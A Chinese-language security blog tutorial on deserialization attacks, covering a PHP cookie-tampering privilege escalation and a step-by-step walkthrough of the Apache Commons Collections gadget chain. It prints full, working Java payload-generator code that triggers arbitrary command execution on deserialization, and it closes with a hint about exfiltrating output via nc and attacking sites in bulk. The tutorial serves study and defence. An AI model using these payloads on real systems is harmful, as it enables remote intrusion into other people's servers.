作為一名不會 Java %!@#&,僅以此文記錄下對 Java 反序列化利用的學習和研究過程。
序列化常用于將程序運行時的對象狀態以二進制的形式存儲于文件系統中,然后可以在另一個程序中對序列化后的對象狀態數據進行反序列化恢復對象。簡單的說就是可以基于序列化數據實時在兩個程序中傳遞程序對象。
1.Java 序列化示例
上面是一段簡單的 Java 反序列化應用的示例。在第一段代碼里面,程序將實例對象 String("This is String object!")
通過 ObjectOutputStream
類的 writeObject()
函數寫到了文件里。序列化對象在具有一定的二進制結構,以十六進制格式查看存儲了序列化對象的文件,除了包含一些字符串常量以外,還能看到其具有不可打印的字符在里面,而這些字符就是用來描述其序列化結構的。(關于序列化格式的相關信息可以參考官方文檔)
2.Java 序列化特征
在序列化對象數據中,頭4個字節存儲的是 Java 序列化對象數據特有的 Magic Number 和相應的協議版本,通常為:
0xaced (Magic Number)
0x0005 (Version Number)
在具體序列化一個對象時,會遵循序列化協議進行數據封裝。扯得有點遠了,對 Java 序列化對象數據結構的研究不在本文范圍內,官方文檔有較為詳細的說明,有需要的可以自行查閱。這里我們只需要知道,序列化后的 Java 對象二進制數據通常以 0xaced0005
這 4 個字節開始就可以了。對 Java 應用序列化對象交互的接口尋找就可以通過監測這 4 個特殊字節來進行。
在 Java 里,可以序列化一個對象成為具有一定數據格式的二進制數據,也可以從數據流程中恢復一個實例對象。而進行序列化和反序列化時會使用兩個類,如下:
#!java
// 序列化對象
java.io.ObjectOutputStream
writeObject()
writeUnshared()
...
// 反序列化對象
java.io.ObjectInputStream
readObject()
readUnshared()
...
當然了,如果開發者對序列化的過程有自己的需求,也可以在對象中重寫 writeObject()
和 readObject()
函數,來進行一些特殊的狀態和數據的控制。
如果我們需要尋找某個 Java 應用的序列化數據交互接口時,就可以直接進行全局代碼搜索序列化和反序列化中常用的那些函數和方法,當找到 Java 應用的序列化數據交互接口后,便可以開始考慮具體的利用方法了。
若你對 Python 或者 PHP 足夠熟悉就應該知道在這兩個語言中的反序列化過程都能直接導致代碼執行或者命令執行,并且 Python 中要想利用反序列化執行命令或者代碼基本沒有什么條件限制,只要有反序列化的交互接口就能直接執行命令或者代碼。當然了,如果做了其他的一些安全策略,就要根據實際情況來分析了。
總結一下在各語言中反序列化過程目前可能帶來的危害:
這些安全隱患在大多語言的序列化過程出現后就存在了。成功的利用過程大都需要一定的條件和環境,不是每種語言都能像 Python 那樣能給直接執行任意命令或者代碼,如同一個棧溢出的利用需要考慮各種堆棧防護機制的問題一樣。
一旦通過某種方法達到了反序列化漏洞可利用的環境和條件,能夠進行利用的點就非常多了。
下面是一段代碼是 PHP 代碼中將序列化數據以 Cookie 形式存儲的實例(user.php):
#!php
<?php
class User {
public $username = '';
private $is_admin = false;
function __construct($username) { $this->username = $username; }
function isAdmin() { return $this->is_admin; }
}
function initUser() {
$user = new User('Guest');
$data = base64_encode(serialize($user));
setCookie('user', $data, time()+3600);
echo '<script>location.href="./user.php"</script>';
}
if(isset($_COOKIE['user'])) {
$user = unserialize(base64_decode($_COOKIE['user']));
if($user) {
if($user->isAdmin()) { echo 'Welcome Come Back, Admninistrator.'; }
else { echo "Hello, $user->username."; }
} else {
initUser();
}
} else { initUser(); }
這段代碼將用戶信息以 base64_encode(serialize($user))
的形式存儲于客戶端的 $_COOKIE['data']
里,對序列化敏感的都知道可以自己構造序列化內容然后傳遞給服務端,使其改變代碼邏輯。使用下面這段代碼生成 $is_admin = true
的用戶信息:
#!php
<?php
class User {
public $username = 'Guest';
private $is_admin = true;
}
echo base64_encode(serialize(new User()));
用生成好的 Payload 修改 Cookie 后再次訪問即可看到 Welcome Come Back, Admninistrator.
的輸出信息。
上面這個只是 PHP 中一個簡單利用反序列化過程控制代碼流程的例子。
Java 中也可以利用反序列化控制代碼流程(傳播的畢竟是一個對象實例), 但在 Java 中想要隨便反序列化一個類實例是不行的,進行反序列化的類必須顯示聲明 Serializable
接口,這樣才允許進行序列化操作。(具體可以參考官方文檔)
面向屬性編程(Property-Oriented Programing)常用于上層語言構造特定調用鏈的方法,與二進制利用中的面向返回編程(Return-Oriented Programing)的原理相似,都是從現有運行環境中尋找一系列的代碼或者指令調用,然后根據需求構成一組連續的調用鏈。在控制代碼或者程序的執行流程后就能夠使用這一組調用鏈做一些工作了。
1.基本概念
在二進制利用時,ROP 鏈構造中是尋找當前系統環境中或者內存環境里已經存在的、具有固定地址且帶有返回操作的指令集,而 POP 鏈的構造則是尋找程序當前環境中已經定義了或者能夠動態加載的對象中的屬性(函數方法),將一些可能的調用組合在一起形成一個完整的、具有目的性的操作。二進制中通常是由于內存溢出控制了指令執行流程,而反序列化過程就是控制代碼執行流程的方法之一,當然進行反序列化的數據能夠被用戶輸入所控制。
從上面這幅圖可以知道 ROP 與 POP 極其相似,但 ROP 關注的更為底層,而 POP 只關注上層語言中對象與對象之間的調用關系。
2. POP 示例
之前所寫的《unserialize() 實戰之 vBulletin 5.x.x 遠程代碼執行》就是一個 PHP 中反序列化過程 POP 執行鏈構造的例子,有興趣的可以瀏覽一下,這里就不再給出具體的 POP 示例了。
前面講了這么多也算是自己在研究老外對 Java 反序列化利用時學習和總結出的一些必要知識,下面就來說說從 Java 反序列化到任意命令執行的利用過程。
本年 1 月 AppSec2015 上 @gebl 和 @frohoff 所講的 《Marshalling Pickles》 提到了基于 Java 的一些通用庫或者框架能夠構建出一組 POP 鏈使得 Java 應用在反序列化的過程中觸發任意命令執行,同時也給出了相應的 Payload 構造工具 ysoserial。時隔 10 月國外 FoxGlove 安全團隊也發表博文提到一部分流行的 Java 容器和框架使用了可以構造出能夠導致任意命令執行 POP 鏈的通用庫,也針對每種受影響的 Java 容器或框架從漏洞發現、分析到具體的利用構造都進行了詳細的說明,并在 Github 上放出了相應的 PoC。能夠成功構造出任意命令執行調用鏈的通用庫和框架如下:
(PS:這些框架或者通用庫輔助構造可導致命令執行 POP 鏈的環境而已,反序列化漏洞的根源是因為不可信的輸入和未檢測反序列化對象安全性造成的。)
大多講解和分析 Java 反序列化到任意命令執行的文章中,都提到了 Apache Commons Collections 這個 Java 庫,因其 POP 鏈構造過程在自己學習和研究過程中是最容易理解的一個,所以下面也只分析基于 Apache Commons Collections 3.x 版本的 Gadget 構造過程。
InvokerTransformer.transform() 反射調用
在使用 Apache Commons Collections 庫進行 Gadget 構造時主要利用了其 Transformer 接口。
#!java
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
主要用于將一個對象通過 transform
方法轉換為另一個對象,而在庫中眾多對象轉換的接口中存在一個 Invoker
類型的轉換接口 InvokerTransformer
,并且同時還實現了 Serializable
接口。
#!java
public class InvokerTransformer implements Transformer, Serializable {
...省略...
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass(); // 反射獲取類
Method method = cls.getMethod(iMethodName, iParamTypes); // 反射得到具有對應參數的方法
return method.invoke(input, iArgs); // 使用對應參數調用方法,并返回相應調用結果
} catch (NoSuchMethodException ex) {
...省略...
可以看到 InvokerTransformer
類中實現的 transform()
接口使用 Java 反射機制獲取反射對象 input
中的參數類型為 iParamTypes
的方法 iMethodName
,然后使用對應參數 iArgs
調用獲取的方法,并將執行結果返回。由于其實現了 Serializable
接口,因此其中的三個必要參數 iMethodName
、iParamTypes
和 iArgs
都是可以通過序列化直接構造的,為命令執行創造的決定性的條件。
然后要想利用 InvokerTransformer
類中的 transform()
來達到任意命令執行,還需要一個入口點,使得應用在反序列化的時候能夠通過一條調用鏈來觸發 InvokerTransformer
中的 transform()
接口。
然而在 Apache Commons Collections 里確實存在這樣的調用,其一是位于 TransformedMap
類中的 checkSetValue()
方法:
#!java
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
...省略...
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
而 TransformedMap
實現了 Map
接口,而在對字典鍵值進行 setValue()
操作時會調用 valueTransformer.transform(value)
。
#!java
...省略...
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
好的,現在已經找到了反射調用的上一步調用,這里為了多次進行多次反射調用,我們可以將多個 InvokerTransformer
實例級聯在一起組成一個 ChainedTransformer
對象,在其調用的時候會進行一個級聯 transform()
調用:
#!java
public class ChainedTransformer implements Transformer, Serializable {
...省略...
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
現在已經可以造出一個 TransformedMap
實例,在對字典鍵值進行 setValue()
操作時候調我們構造的 ChainedTransformer
,下面給出示例代碼:
#!java
package exserial.examples;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class SetValueToExec {
public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap<String, Object>();
Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
exMap.put("1111", "2222");
for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {
exMapValue.setValue(1);
}
}
}
根據之前的分析,將上面這段代碼編譯運行后會默認會彈出計算器,對代碼詳細執行過程有疑惑的可以通過單步調試進行測試:
然后我們現在只是測試了使用 TransformedMap
進行任意命令執行而已,要想在 Java 應用反序列化的過程中觸發該過程還需要找到一個類,它能夠在反序列化調用 readObject()
的時候調用 TransformedMap
內置類 MapEntry
中的 setValue()
函數,這樣才能構成一條完整的 Gadget 調用鏈。恰好在 sun.reflect.annotation.AnnotationInvocationHandler
類具有 Map
類型的參數,并且在 readObject()
方法中觸發了上面所提到的所有條件,其源碼如下:
#!java
private void readObject(java.io.ObjectInputStream s) {
...省略...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}
可以注意到 memberValue
是 AnnotationInvocationHandler
類中類型聲明為 Map<String, Object>
的成員變量,剛好和之前構造的 TransformedMap
類型相符,因此我們可以通過 Java 的反射機制動態的獲取 AnnotationInvocationHandler
類,使用精心構造好的 TransformedMap
作為它的實例化參數,然后將實例化的 AnnotationInvocationHandler
進行序列化得到二進制數據,最后傳遞給具有相應環境的序列化數據交互接口使之觸發命令執行的 Gadget,完整代碼如下:
#!java
package exserial.payloads;
import java.io.ObjectOutputStream;
import java.util.Map;
import java.util.HashMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import exserial.payloads.utils.Serializables;
public class Commons1 {
public static Object getAnnotationInvocationHandler(String command) throws Exception {
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("value", "does't matter");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, exMap);
return instance;
}
public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
Object obj = getAnnotationInvocationHandler(command);
ObjectOutputStream out = new ObjectOutputStream(System.out);
out.writeObject(obj);
}
}
最終用一段調用鏈可以清晰的描述整個命令執行的觸發過程:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections <= 3.2.1
*/
由于水平有限,暫時只能筆止于此。要清楚反序列化問題不單單存在于某種語言里,而是目前的大多數實現了序列化接口的語言都沒有對反序列化的對象做安全檢查,雖然官方都有文檔說不要對不可信的輸入數據進行反序列化,但是往往一些框架就喜歡使用序列化來方便不同應用或者平臺之間對象的傳遞,這就促使了反序列化漏洞的形成。
基于 Apache Commons Collections 通用庫構造遠程命令執行的 POP Gadget 只能說是 Java 反序列化漏洞利用中的一枚輔助炮彈而已,如果不從根本上加強反序列化的安全策略,以后還會涌現出更多通用庫或者框架的 POP Gadget 能夠進行有效的利用。
(最后說說關于回顯的問題,由于最后的反射調用是一個級聯式的調用,并不允許變量二次使用,所以想要不借助外部直接在當前會話輸出執行結果是不可能的(至少我已經盡全力嘗試了),最簡單的方式當然是在外部服務器上用 nc 或者一些其他服務來獲取命令返回的信息,具體怎么把執行結果返回到服務端,日過站的你肯定知道。想批量?Yes,so easy!)